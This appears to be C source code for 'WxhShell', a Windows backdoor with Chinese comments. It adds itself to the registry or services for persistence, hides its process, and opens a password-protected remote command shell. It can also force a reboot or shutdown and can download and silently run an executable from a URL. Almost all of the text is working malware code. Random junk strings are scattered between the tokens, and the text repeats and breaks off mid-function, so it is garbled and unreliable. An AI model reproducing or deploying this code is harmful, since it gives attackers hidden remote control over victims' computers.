(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !}ilN 1> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~x'zX-@rC QO2Ut!Y if (!NtQueryInformationProcess) return 0; Mq@}snp"S i-b1d'?Rb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CJp-Y}fGEA if(!hProcess) return 0; GA\2i0ow Rb#/qkk/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pw=F' Y@N
hcyn
CloseHandle(hProcess); }wfI4?}j} 5C B%=iL{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g92dw<$> if(hProcess==NULL) return 0; Hq?& Qo (-\]A| HMODULE hMod; /l^y}o %? char procName[255]; usy,V"{ unsigned long cbNeeded; UeA2c_
5 zj{(p Z1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G]-%AO{K 7%4.b7Q CloseHandle(hProcess); 45)D+ JA<~xo[Q9 if(strstr(procName,"services")) return 1; // 以服务启动 gKWzFnW
uN9e:; return 0; // 注册表启动 ailG./I+ } 3T1P$E" m +C_*Vs@4 // 主模块 2SciB*5 int StartWxhshell(LPSTR lpCmdLine) KY
g3U { ~T 02._E SOCKET wsl; +`| mJa BOOL val=TRUE; &$F[/[Ds+ int port=0; -D#5o,]3 struct sockaddr_in door; T%kKVr ")ED)&e if(wscfg.ws_autoins) Install(); _s*!
t ra]:$XJ5=a port=atoi(lpCmdLine); %K?iNe .fEwk if(port<=0) port=wscfg.ws_port; Ukc'?p,* jn$j^51`C WSADATA data; wWTQ6~Y%d if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '0RRFO Ff<)4`J if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &dRjqn^&X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ra:GzkIw door.sin_family = AF_INET; :CTL)ad2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); MtUY?O.P2 door.sin_port = htons(port); n+?- :_Fxy5} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hd0Xx}3& closesocket(wsl); C`0%C7 return 1; |{f~Ks% } VjB*{, kwlC[G$j7 if(listen(wsl,2) == INVALID_SOCKET) { #V[SQ=>x[ closesocket(wsl); | ]# +v@ return 1; C_G1P)k } IY)5.E
_ Wxhshell(wsl); SKR;wu WSACleanup(); G#0,CLGN^ #ZlM?Q return 0; ;&
~929 !BUi)mo } BI.V0@qZ G3dhM#! // 以NT服务方式启动 f=m/
-mAA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o?wt$j- { l3p3tT3+ DWORD status = 0; kOipH |.x DWORD specificError = 0xfffffff; dE [Ol EkZjO Ci serviceStatus.dwServiceType = SERVICE_WIN32; K]<u8eF serviceStatus.dwCurrentState = SERVICE_START_PENDING; b[srG6{ & serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o1k#."wHr serviceStatus.dwWin32ExitCode = 0; QKccrAo serviceStatus.dwServiceSpecificExitCode = 0; FJwt?3\u5 serviceStatus.dwCheckPoint = 0; 7`fY*O6 serviceStatus.dwWaitHint = 0; @9vvR7{P tOH0IE c hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zMGzReJ if (hServiceStatusHandle==0) return; >vVw!.fJ -:SIS`0s status = GetLastError(); El
(/em if (status!=NO_ERROR) 8l23%iWxe { JZ=5Bpw serviceStatus.dwCurrentState = SERVICE_STOPPED; {ma;G[! serviceStatus.dwCheckPoint = 0; GV8)Kor% serviceStatus.dwWaitHint = 0; kA^A mfba serviceStatus.dwWin32ExitCode = status; a,n93-m(m serviceStatus.dwServiceSpecificExitCode = specificError; j Nc<~{/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); GNU;jSh5 return; s;1e0n } z0Xa_w= |>2:eH serviceStatus.dwCurrentState = SERVICE_RUNNING; CH;;V3 serviceStatus.dwCheckPoint = 0; tpYa?ZCM
serviceStatus.dwWaitHint = 0; eYEc^nC,c) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hk u=pr3Gn } ZEGd4_ux /{X_
.fv<v // 处理NT服务事件,比如:启动、停止 ]:et~pfW VOID WINAPI NTServiceHandler(DWORD fdwControl) k1fRj_@WPT { !ZrB^?sO switch(fdwControl) :JlDi>B { D|Si)_
Iz case SERVICE_CONTROL_STOP: 4j3oT)+8 serviceStatus.dwWin32ExitCode = 0; rk,p!}FqL serviceStatus.dwCurrentState = SERVICE_STOPPED; H]Wp%"L serviceStatus.dwCheckPoint = 0;
$Nu)E serviceStatus.dwWaitHint = 0; ^i`*Wm@! { h|p[OecG SetServiceStatus(hServiceStatusHandle, &serviceStatus); R1'`F{56 } ?N>pZR return; e{C6by"j{S case SERVICE_CONTROL_PAUSE: F=}Z51|:~ serviceStatus.dwCurrentState = SERVICE_PAUSED; ^>m^\MuZ break; V;93).-$ case SERVICE_CONTROL_CONTINUE: Dp^/gL= serviceStatus.dwCurrentState = SERVICE_RUNNING; 54q3R`y break; 8=Q VN_ case SERVICE_CONTROL_INTERROGATE: Y6ben7j%- break; cy1jZ1) }; doD>m?rig3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ><Uk*mwL } T"!EK& l!IGc: // 标准应用程序主函数 'ere!:GJD int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O&'/J8 { Q4wc-s4RN q#vlBL // 获取操作系统版本 /6U
4S>'( OsIsNt=GetOsVer(); };sMU6e GetModuleFileName(NULL,ExeFile,MAX_PATH); <*Y'lV GBbh ar},g // 从命令行安装 DB@EVH if(strpbrk(lpCmdLine,"iI")) Install(); ]0/p 7N14 ]MAT2$"le // 下载执行文件 A*'V+( if(wscfg.ws_downexe) { nbxR"UH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U)[ty@zyF WinExec(wscfg.ws_filenam,SW_HIDE); y $V[_TN } 2jA%[L9d^ ]US[5)EL- if(!OsIsNt) { %;O}FyP // 如果时win9x,隐藏进程并且设置为注册表启动 / L~u02? HideProc();
}B ff,q StartWxhshell(lpCmdLine); H06Bj(Y! } G$5m$\K else ]W)
jmw'mo if(StartFromService()) \+Y!ILOI // 以服务方式启动 GDPo`#~ StartServiceCtrlDispatcher(DispatchTable); HFS+QwHW else SLoo:) // 普通方式启动 DJP6TFT&G StartWxhshell(lpCmdLine); O3%[dR >;nS8{2o return 0; Coa -8j*R7 } f=I:DkR ~O4|KY C5n?0I9 5I,$EGG =========================================== S()Za@ [a$ s[c^"@HT eb!_ie"D hI~SAd
,#A !k<:k
"7 o4)hxs " TnE+[.Qu &KqVN]1+^ #include <stdio.h> ^M|K;jt> #include <string.h> e|'N(D}h* #include <windows.h> 6^YJ] w #include <winsock2.h> &
_K*kI: #include <winsvc.h> X~RH^VYv #include <urlmon.h> wUp)JI P*G+eqX #pragma comment (lib, "Ws2_32.lib") zWIeHIt #pragma comment (lib, "urlmon.lib") "=|t ~` ?_ RYqolz #define MAX_USER 100 // 最大客户端连接数 ek)Xrp:2 #define BUF_SOCK 200 // sock buffer rsF:4G"% #define KEY_BUFF 255 // 输入 buffer JBcY!dy-d TzM=LvA #define REBOOT 0 // 重启 2QayM?k8 #define SHUTDOWN 1 // 关机 e.;M.8N#SQ #":a6%0Q #define DEF_PORT 5000 // 监听端口 JJf<*j^G 59!)j>f #define REG_LEN 16 // 注册表键长度 fLB1)kTS #define SVC_LEN 80 // NT服务名长度 77We;a .3wY\W8Dr- // 从dll定义API o3h -=t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GLh]G( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D1X{:#| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^M
Ey, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BaL]mIx E
$6ejGw- // wxhshell配置信息 1d v=xe. struct WSCFG { 5$Kf]ZP int ws_port; // 监听端口 T*P+Fh" char ws_passstr[REG_LEN]; // 口令 _ #'9kx|) int ws_autoins; // 安装标记, 1=yes 0=no oR %agvc^^ char ws_regname[REG_LEN]; // 注册表键名 JTUNb'#RZ char ws_svcname[REG_LEN]; // 服务名 lrys3 char ws_svcdisp[SVC_LEN]; // 服务显示名 xm^95}80yh char ws_svcdesc[SVC_LEN]; // 服务描述信息 h%1Y6$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eXzXd*$S int ws_downexe; // 下载执行标记, 1=yes 0=no '_o@VO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *not.2+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;<-7*}Dj rn" pKUd }; 0.DQO; K]"Kf{bx // default Wxhshell configuration 0HbJKix! struct WSCFG wscfg={DEF_PORT, <abKiXA" "xuhuanlingzhe", -p8e 1, "!q?P"
@C "Wxhshell", bK=c@GXS "Wxhshell", Y';>O ` "WxhShell Service", - ]Y wl "Wrsky Windows CmdShell Service", IZ~.{UQ "Please Input Your Password: ", <lo`q<q 1, GqUSVQ "http://www.wrsky.com/wxhshell.exe", )%mAZk-*;^ "Wxhshell.exe" 3{3/: 7 }; `clB43i .~`Y)PON // 消息定义模块 pP\h6b+B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )N)ljA3] char *msg_ws_prompt="\n\r? for help\n\r#>"; rYGRz#:~+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hKksVi char *msg_ws_ext="\n\rExit."; g42T#p8^ char *msg_ws_end="\n\rQuit."; 4v qNule char *msg_ws_boot="\n\rReboot..."; WK;(P4Z char *msg_ws_poff="\n\rShutdown..."; 9}
*$n&B char *msg_ws_down="\n\rSave to "; ~3=2=Uf /DU*M, char *msg_ws_err="\n\rErr!"; kxo.v |)8 char *msg_ws_ok="\n\rOK!"; ;|30QUYh r~oSP^e' char ExeFile[MAX_PATH]; afm_ Rrg[ int nUser = 0; -,GEv%6c HANDLE handles[MAX_USER]; xNgt[fLpS int OsIsNt; n`<U"$* (,LL[&;: SERVICE_STATUS serviceStatus; 'F5)ACA% SERVICE_STATUS_HANDLE hServiceStatusHandle; :]c=pH NG9vml // 函数声明 d@g2k> > int Install(void); #F4X} int Uninstall(void); |s|/]aD}o int DownloadFile(char *sURL, SOCKET wsh); e2Jp'93o' int Boot(int flag); 8^X]z|[d2 void HideProc(void); },PBqWe int GetOsVer(void); Y/P]5: =h int Wxhshell(SOCKET wsl); ,qy&|4Jz void TalkWithClient(void *cs); RgGA$HN/ int CmdShell(SOCKET sock); jo0Pd_W8& int StartFromService(void); 7) 0q--B int StartWxhshell(LPSTR lpCmdLine); 2U%qCfh6| b1=pO]3u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S=O$JP79 VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wz{%"o XS|mKuMcC // 数据结构和表定义 v3^t/[e~: SERVICE_TABLE_ENTRY DispatchTable[] = f)^t') { "Ot{^_e {wscfg.ws_svcname, NTServiceMain}, M(5D'4. {NULL, NULL} /{we;Ut=g }; /*P7<5n0 -f.R#J$2 // 自我安装 .Cr1,Po int Install(void) @?/\c:cp { O+FBQiv char svExeFile[MAX_PATH]; N84qcc HKEY key; {^wdJZ~QLK strcpy(svExeFile,ExeFile); PYieD}' RbAt3k;y // 如果是win9x系统,修改注册表设为自启动 IJIQ"
s if(!OsIsNt) { S'@=3) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ND*]gM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp4K6x RegCloseKey(key); *w 21U! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |EeBSRAfe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o7arxo\ RegCloseKey(key); BWEv1' v return 0; sVoR?peQ } :;TYL[ } (nz}J)T& } Omb.53+ else { ~B]jV$= ;]@exp5 // 如果是NT以上系统,安装为系统服务 V{$Sfmey SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,'_(DJX if (schSCManager!=0) N 8}lt { d h?dO` SC_HANDLE schService = CreateService kW(Kh0x ( A'~#9@l< schSCManager, %M6
c0d[9- wscfg.ws_svcname, C8MWIX} wscfg.ws_svcdisp, jGiw96,Y SERVICE_ALL_ACCESS,
[R\=M' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?cxr%`E SERVICE_AUTO_START, 7@~QkTH~y SERVICE_ERROR_NORMAL, Bb_Q_<DTs svExeFile, LP?P=c NULL, m&cvU>lC NULL, I-{^[p p NULL, %^!aB NULL, e>!E=J)j NULL MCHOK=G ); 4cB&Hk if (schService!=0) B _tQeM { kp; &cQu! CloseServiceHandle(schService); pz @km CloseServiceHandle(schSCManager); 1M/$<
kQ-N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [' t8C strcat(svExeFile,wscfg.ws_svcname); 6KB^w0oA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [Q:f-<nH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K @C4*?P RegCloseKey(key); hiIyaWU return 0; :iEA UM } g8v[)o(qd } )-#i8?y3C CloseServiceHandle(schSCManager); `:gYXeR } yU!GS- } {\Ys@FF @E(P9zQ/zy return 1; V" }*"P-% } CPGL!: feN!_- // 自我卸载 1=>2uYKR int Uninstall(void) %HVD^. V { l# BZzJ?~ HKEY key; nj"m^PmWo3 _j>L4bT if(!OsIsNt) { e3pnk
=u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]*GnmG:D* RegDeleteValue(key,wscfg.ws_regname); GjL W`> RegCloseKey(key); lfgtcR {l5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S2bexbp0o RegDeleteValue(key,wscfg.ws_regname); D@*|2 4y RegCloseKey(key); [tz
u;/ return 0; u]SZ{[e } 90(UgK&Y } ?#i|>MRR> } jf 8w7T else { kAt
RY4p GqMB^Ad SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L^x5&CCwk if (schSCManager!=0) S!<"Swf: { L,
#Byao SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yu;9&b if (schService!=0)
.=CH!{j { :^5>wDu{ if(DeleteService(schService)!=0) { b(1:w"wD CloseServiceHandle(schService); d96fjj~ CloseServiceHandle(schSCManager); S,VyUe4P4 return 0; YLE/w @* } Zg2]GJP CloseServiceHandle(schService); +dJ&tuL:S } \ JG
#m CloseServiceHandle(schSCManager); eZA6D\ } q6Rw4 } d&?F#$> 7| \D ^7Z97 return 1; eq{
[?/ } )u-ns5 py=i!vb&Z% // 从指定url下载文件 "5y<G:$+~ int DownloadFile(char *sURL, SOCKET wsh) Zq^^|[)bA { C&e8a9*,(a HRESULT hr; ?o8a_9+ char seps[]= "/"; 3+j^E6@ char *token; c|+y9(0|y char *file; *s~i 2} char myURL[MAX_PATH]; kM,@[V char myFILE[MAX_PATH]; 0+rW;-_( j+ I*Xw strcpy(myURL,sURL); k}#@8n|b token=strtok(myURL,seps); N7a[B>+` while(token!=NULL) 51z / { 3#B@83C0Z file=token; fH; |Rm token=strtok(NULL,seps); t={po QC~ } +<z7ds{Z fs7~NY GetCurrentDirectory(MAX_PATH,myFILE); 2nJYS2mT7 strcat(myFILE, "\\"); x~%\y strcat(myFILE, file); u6f4yQ send(wsh,myFILE,strlen(myFILE),0); A_aO}oBX send(wsh,"...",3,0); fG3wc
l~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L-j/R1fTvl if(hr==S_OK) y>4p~ return 0; 7WXiG0 else (&k')ff9K return 1; .a5X*M] s* @QT8% } 3mybG%39
am3V9"\ // 系统电源模块 uht(3 int Boot(int flag) $vz_%Y { OW?uZ<z HANDLE hToken; >=bt TOKEN_PRIVILEGES tkp; `..EQBM z_'dRw if(OsIsNt) { \G]K,TG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bKTqX[ = LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S io1Q0 tkp.PrivilegeCount = 1; ykJ+%gla tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zI(xSX@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5[1@`6j if(flag==REBOOT) { ixg\[5.Q+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vs*>onCf return 0; *13g<#$ } u4@, *tT else { LE<:.?<Z- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,nI_8r"M> return 0; 6^WiZ^~ } fi5YMYd1 } ux%&lff else { _xa}B,H if(flag==REBOOT) { 2-QuT"Gkd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {_rZRyr return 0; 'W}~)+zK } g9M')8a n else {
b$PT_!d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C3]\$ return 0; K<D`(voL } lp?i_p/z } 8.:B=A Q S5dP return 1; P)a("XnJ` } fLLnf].O E {I)LdAqK // win9x进程隐藏模块 D1oaG0 void HideProc(void) od;Bb { d&O'r[S #($k 3OA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oXnC"y}0P if ( hKernel != NULL ) 5w]DncdQ~ { &19lk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L[`R8n1C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SJso'6 g FreeLibrary(hKernel); K-N]h } A9NOeE + 8MW$ m$ return; +8L(pMI4 } =1%zI%
iK$Vd+Lgc // 获取操作系统版本 f6keWqv<GW int GetOsVer(void)
JsZAP { 45]Ym{] OSVERSIONINFO winfo; 7f.4/x^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !%SdTaC{T GetVersionEx(&winfo); )6O\WB| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %i;r]z- return 1;
{JCSR2BB else v!WU |=u return 0; QC$=Fs5+ } QCZ,K"y SSl8 // 客户端句柄模块 ]2hF!{wc int Wxhshell(SOCKET wsl) RTdD]pE8Q { 2hjre3"? SOCKET wsh; (OM?aW struct sockaddr_in client; R[mH35D/ DWORD myID; }CB=c]p MAm1w'ol" while(nUser<MAX_USER) T%M1[<"Q { C:|q'"F int nSize=sizeof(client); j1'xp`jgv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
z*??YUT\M if(wsh==INVALID_SOCKET) return 1; X
,V= od> ;oN{I@}k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jKY Aid{- if(handles[nUser]==0) L%c]%3A closesocket(wsh); .0R/'!e else 9,Crmbw8 nUser++; @lb=-oR!~ } pgLzFY[' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2?#y
|/ M"$jpBN* return 0; pfJVE } 3Hb .ZLE# rf1wS*uU+ // 关闭 socket (%ri#r void CloseIt(SOCKET wsh) r'mnkg2, { _qO;{%r closesocket(wsh); 1C5kS[! nUser--; qaCi)f!Dl ExitThread(0); rR),~ @]sL } eR#gG^o8 1 $KLMW // 客户端请求句柄 "w:\@Jwu( void TalkWithClient(void *cs) |k['wqn" { YoSo0fQA !Vp,YN+yN SOCKET wsh=(SOCKET)cs; ^C,/T2> char pwd[SVC_LEN]; [0**&.obz char cmd[KEY_BUFF]; S<2CG)K[ char chr[1]; dw{#|| int i,j; SoXX}<~E4 ~P"!DaAf while (nUser < MAX_USER) { B BApL{ hy!'Q>[` if(wscfg.ws_passstr) { =
C$@DNEc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zd6Qw-D7x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Y
6.?z //ZeroMemory(pwd,KEY_BUFF); $BR=IYby i=0; %%-U. while(i<SVC_LEN) { R%]9y]HQ 7YQK@lS // 设置超时 T}b(
M*E fd_set FdRead; :?&WKW struct timeval TimeOut; PJSDY1T FD_ZERO(&FdRead); QYf/tQg$ FD_SET(wsh,&FdRead); &4[#_(pk TimeOut.tv_sec=8; ~Uwr689N TimeOut.tv_usec=0; )\I? EU8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Up!ZCZ$RC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <x>k3bD 5m%baf2_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
alb+R$s pwd=chr[0]; ]"2 v7)e if(chr[0]==0xd || chr[0]==0xa) { u75)>^:I pwd=0; <L!~f`nH2 break; U4^p({\|- } ]U^d 1&k i++; ,XBV }y } Dbkuh!R sBuq // 如果是非法用户,关闭 socket Q'Q72Fg if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q.,p6D } \/x)BE, 6ljRV) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ELkOrV~a{: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qqz,~EhC HhY2`P8 while(1) {
;f ;*Q>! p.TiTFu/ ZeroMemory(cmd,KEY_BUFF); yTq(x4] ;+TF3av0zq // 自动支持客户端 telnet标准 g.`t!6Hc j=0; wCC~tuTpr while(j<KEY_BUFF) { :)+@qxTy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )kY_"= d cmd[j]=chr[0]; oZ*=7u if(chr[0]==0xa || chr[0]==0xd) { ffoo^1}1 cmd[j]=0; 4MF}FS2) break; Q
2SSJ } n[MIa]dK j++; o,''f_tRQ| } $jm>tW&; ^b|Nw: // 下载文件 =Zb"T5E if(strstr(cmd,"http://")) { $E9daUt8"J send(wsh,msg_ws_down,strlen(msg_ws_down),0); ad3z]dUZ9 if(DownloadFile(cmd,wsh)) q$u\
q. send(wsh,msg_ws_err,strlen(msg_ws_err),0); Edn$0D68u_ else 0P%|)Ae send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bh;b`
5 } }r<@o3t else { 2cX"#."5p O.up%'%, switch(cmd[0]) { yY@s(: ,0<F3h // 帮助 X?}GPA4 W case '?': { $vbAcWj send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BqEubP(si break; <cfH'~ } J!K/7uS // 安装 X^_+%U case 'i': { xO9]yULgu if(Install()) Z\gg<Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); \,cKt_{ u else {+UNjKQC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4pTuP / break; _]~ht H } 84oW // 卸载 +q_lYGTiO case 'r': { |<Dx if(Uninstall()) LOb'<R\p send(wsh,msg_ws_err,strlen(msg_ws_err),0); U37?P7i's else hC 4X Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tU2t oV break; 8|-mzb& } fe9& V2Uu // 显示 wxhshell 所在路径 luz%FY: case 'p': { [|;Zxb: char svExeFile[MAX_PATH]; f$S
QhK5` strcpy(svExeFile,"\n\r"); ^B6i6]Pd=9 strcat(svExeFile,ExeFile); >~wk send(wsh,svExeFile,strlen(svExeFile),0); 3f2Hjk7,d break; }vxH)U6$q } &_^*rD~ // 重启 @Jn:!8U0 case 'b': { w KMk|y> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y[5P<:&s if(Boot(REBOOT)) 7pI\`*7b send(wsh,msg_ws_err,strlen(msg_ws_err),0); F+y`4>x else { }v$=mLy closesocket(wsh); (R*jt,x ExitThread(0); lbuW*) } Jx
;"a\KD break; ]pP2c[; } dV=5_wXZ$ // 关机 ch8w' case 'd': { L9YwOSb. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &'ETx" if(Boot(SHUTDOWN)) _}9R} send(wsh,msg_ws_err,strlen(msg_ws_err),0); +=H>s;B else { T[[ closesocket(wsh); }:D~yEP ExitThread(0); F)iGD~ } kRXg."b( break; /uz5V/i0 } @SG="L // 获取shell "oXAIfU#T case 's': { @[kM1:G-F{ CmdShell(wsh);
=ObtD" closesocket(wsh); m#K%dR
ExitThread(0); j.N\U#3KK break; =
hX-jP } HN~4-6[q // 退出 |QTqa~~B case 'x': { KeHE\Fq^V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sCCr%r]zL CloseIt(wsh); vrnj}f[h break; 7>@/*S{X } t\bxd`, // 离开 m;+1;B case 'q': { 9}0Jc(B/x send(wsh,msg_ws_end,strlen(msg_ws_end),0); "/Q(UV<d closesocket(wsh); mS&\m#s< WSACleanup(); xA'#JN<* exit(1); [,$mpJCI break; K}/`YDu } WJ8vHPSM } +Y]*>afG } g+r{>x BCZnF
/Zo // 提示信息 AG\852`1m if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c%/&@vs7 } C^=gZ
6m } & O\!!1% 0@x$Cp return; B:#0B[ }
'L59\y8H "v(]"L // shell模块句柄 `/ReJj&~ int CmdShell(SOCKET sock) uWtS83i { 2pNJWYW" STARTUPINFO si; )0d".Q|v4 ZeroMemory(&si,sizeof(si)); bK;aV& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IeI%X\G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NWwtq&pz2 PROCESS_INFORMATION ProcessInfo; 0Ilvr]1a4 char cmdline[]="cmd"; 35kbE' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ul0<Zxv return 0; UZ3Aq12U}a } d]~1.i ,vw`YKg // 自身启动模式 gL"Q.ybA int StartFromService(void) #&KE_n { )mVYqlU" typedef struct >t2)Z|1 { c!wB'~MS# DWORD ExitStatus; !
e,(Zz5 DWORD PebBaseAddress; s:F+bG}| DWORD AffinityMask; L=!kDU DWORD BasePriority; QGG(I7{- ULONG UniqueProcessId; 3CuoBb8 ULONG InheritedFromUniqueProcessId; @wJa33QT } PROCESS_BASIC_INFORMATION; S,v >*AF 8B+^vF
PROCNTQSIP NtQueryInformationProcess; _H<OfAO J$*["y`+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }eFUw static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?o5#Ve$-X @@mW+16 HANDLE hProcess; vUx$[/< PROCESS_BASIC_INFORMATION pbi; yzb& 6;XpLivP7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MJpTr5Vs if(NULL == hInst ) return 0; ,,wx197XeD c;}n=7,>:L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bO%ck-om! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UI|@5:J NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !-nm7Q F
) ~pw if (!NtQueryInformationProcess) return 0; QnLgP7Ft `^k<.O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MtTHKp if(!hProcess) return 0; TsW6 w _?LI0iIFx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yZaDNc9' luog_;{h+ CloseHandle(hProcess); bO3KaOC8N zb,`K*Z{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F4(U~n< if(hProcess==NULL) return 0; ,.MG&O 8>;o MM HMODULE hMod; Yx c >+mx char procName[255]; 3-%~{(T/ unsigned long cbNeeded; ui0(#2'h% @5GP;3T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t1s@Ub5);I 4tNgK[6M CloseHandle(hProcess); 8@
